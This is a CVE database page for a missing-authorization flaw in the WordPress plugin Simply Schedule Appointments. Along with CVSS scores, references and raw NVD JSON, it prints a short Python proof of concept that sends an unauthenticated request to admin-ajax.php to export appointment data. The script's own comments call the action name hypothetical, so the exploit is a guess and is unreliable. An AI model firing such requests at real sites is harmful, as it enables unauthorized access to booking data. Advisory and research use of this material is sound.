CVE-2026-39694

Description

Missing Authorization vulnerability in NSquared Simply Schedule Appointments simply-schedule-appointments allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Simply Schedule Appointments: from n/a through <= 1.6.10.2.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

NSquared Simply Schedule Appointments <= 1.6.10.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
PoC for CVE-2026-39694
Title: Missing Authorization in Simply Schedule Appointments
Description: This script demonstrates unauthorized access to a vulnerable endpoint.
              Note: Actual endpoint parameters may vary based on specific plugin setup.
"""
import requests

def exploit(url):
    # Target a common WordPress AJAX endpoint
    target = f"{url}/wp-admin/admin-ajax.php"
    
    # Payload attempting to trigger unauthorized action
    # 'action' parameter usually triggers the specific function in WordPress plugins
    payload = {
        "action": "ssa_export_data",  # Hypothetical vulnerable action
        "type": "appointments"
    }
    
    try:
        response = requests.post(target, data=payload, timeout=10)
        if response.status_code == 200:
            print("[+] Request sent successfully. Check response for unauthorized access indicators.")
            print(f"Response: {response.text[:200]}")
        else:
            print(f"[-] Unexpected status code: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    target_url = "http://example-wordpress-site.com"
    exploit(target_url)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39694
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39694
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39694/
[4] VulDB https://vuldb.com/cve/CVE-2026-39694
[5] https://patchstack.com/database/Wordpress/Plugin/simply-schedule-appointments/vulnerability/wordpress-simply-schedule-appointments-plugin-1-6-10-2-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39694", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:41.783", "lastModified": "2026-04-29T10:17:41.387", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in NSquared Simply Schedule Appointments simply-schedule-appointments allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Simply Schedule Appointments: from n/a through <= 1.6.10.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/simply-schedule-appointments/vulnerability/wordpress-simply-schedule-appointments-plugin-1-6-10-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}